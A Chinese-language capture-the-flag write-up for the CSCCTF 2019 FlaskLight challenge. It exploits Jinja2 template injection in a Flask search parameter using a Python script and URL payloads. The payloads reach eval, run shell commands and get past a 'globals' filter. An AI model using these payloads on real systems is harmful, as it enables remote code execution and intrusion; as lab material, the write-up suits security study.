---

[CSCCTF 2019 Qual]FlaskLight

思路

f12看到注入点

由于是flask，推测是jinja2的模板，用{{2*2}}试验成功

解题

为方便起见，写个py脚本来交互

import requests
from lxml import etree
import re

url = 'http://398338c4-d3d7-475c-910b-13a853bc3684.node5.buuoj.cn:81/'
cmd = '''{{[]
.__class__
.__bases__[0]
.__subclasses__()[59]
.__init__
['__glo'+'bals__']
['__builtins__']
['eval']
("__import__('os').popen('cat /flasklight/c*').read()")}}'''

cmd = re.sub('\n', '', cmd)
url = url + r'?search=' + cmd + r''
response = requests.get(url=url)
tree = etree.HTML(response.text)
res = tree.xpath('/html/body/h3[1]/text()')
if len(res) == 0:
    print(response.text)
else:
    print(res[0])

我对flask的jinja2并不熟练，直接看WP了
参考文献：[CSCCTF 2019 Qual]FlaskLight——直取flag？_flask的evalme传参获取flag.txt-CSDN博客
细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客（不愧是蚁景

首先判断python版本：

[].__class__.__mro__[-1].__subclasses__()
# 看是否有<type 'file'>，（一般在[40])
# 有则python2

能看到<type 'file'>，是python2
接着尝试{{config}}，能看到提示（没什么用

直接使用payload，发现不行，删来删去发现过滤了globals
使用字符串拼接即可

/?search=
{{().__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27ls%27).read()")}}
-> bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

{{().__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27ls flasklight%27).read()")}}
-> app.py coomme_geeeett_youur_flek

{{().__class__.__bases__[0].__subclasses__()[59].__init__[%27__glo%27+%27bals__%27][%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat /flasklight/c*%27).read()")}}
-> flag{911a5538-6281-4f6f-be2f-6da236c17b62}

注意

jinja相关知识好好看看